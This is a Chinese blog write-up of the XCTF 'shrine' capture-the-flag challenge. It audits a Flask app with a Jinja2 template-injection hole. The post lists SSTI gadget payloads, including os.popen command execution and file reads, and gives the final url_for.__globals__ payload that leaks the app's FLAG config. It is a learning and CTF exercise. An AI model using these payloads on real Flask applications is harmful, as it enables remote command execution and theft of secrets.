• xctf攻防世界 Web高手进阶区 shrine


    0x01. 进入环境,查看问题

    在这里插入图片描述
    给了一串代码,整理后如下进行代码审计。

    0x02. 问题分析

    0x02_1. 代码审计

    
    import flask
    import os
    
    app = flask.Flask(__name__)
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    @app.route('/')
    def index():
        return open(__file__).read()
    
    @app.route('/shrine/')
    def shrine(shrine):
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')
            blacklist = ['config', 'self']
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
        return flask.render_template_string(safe_jinja(shrine))
    
    if __name__ == '__main__':
        app.run(debug=True)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    访问根路径返回读取的文件代码信息。
    访问/shrine/path,会将path作为信息传入safe_jinja()函数,其中path会被过滤掉()符号,其次对涉及到的config和self黑名单,如果path直接该关键字则会将path置为空。

    0x02_2. 问题分析

    既然是pyhton的框架,且涉及到路径访问,第一反应猜测是否会涉及到SSTI服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞。
    我们尝试构造payload:http://61.147.171.105:62961/shrine/{{7*7}},返回结果如图:
    在这里插入图片描述
    嗯!确实存在模板注入,那么如何进行注入呢?此处参考大佬写的总结:

    1. SSTI模板注入总结
    2. CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】
    __class__            类的一个内置属性,表示实例对象的类。
    __base__             类型对象的直接基类
    __bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
    __mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
    __subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
    __init__             初始化类,返回的类型是function
    __globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
    __dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
    __getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
    __getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
    __builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
    __import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
    __str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
    url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
    get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
    lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
    current_app          应用上下文,一个全局变量。
     
    request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
    request.args.x1   	 get传参
    request.values.x1 	 所有参数
    request.cookies      cookies参数
    request.headers      请求头参数
    request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
    request.data  		 post传参	(Content-Type:a/b)
    request.json		 post传json  (Content-Type: application/json)
    config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
    g                    {{g}}得到<flask.g of 'flask_ssti'>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    0x02_3. 构造payload

    我们直接使用url_for或者get_flashed_messages进行构造url_for.__globals__['current_app'].config['FLAG']即可,构造的url访问如下:

    http://61.147.171.105:62961/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
    
    • 1

    得到最答案,最终flag为:flag{shrine_is_good_ssti}

    0x03. 总结

    一般python模板注入涉及到知识比较广,但是套路基本固定,参考大佬的总结文章即可,问题不大。再次引用一次优秀博文:

    1. SSTI模板注入总结
    2. CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】
  • 相关阅读:
    机器学习——支持向量机(SVM)
    Java版分布式微服务云开发架构 Spring Cloud+Spring Boot+Mybatis 电子招标采购系统功能清单
    【Vue基础-数字大屏】加载动漫效果
    SD-WAN组网相较传统组网的优点
    Java使用DOM简单解析XML文件
    R - Sonya and Hotels
    文心一言 VS 讯飞星火 VS chatgpt (108)-- 算法导论10.1 6题
    mysql进程信息出现大量Waiting for table level lock信息的原因,怎么处理?
    spring boot + mybaties-plus 数据库字段加解密
    Redisson实现分布式锁的实战案例-锁单key-锁多key-看门狗
  • 原文地址:https://blog.csdn.net/l8947943/article/details/126198874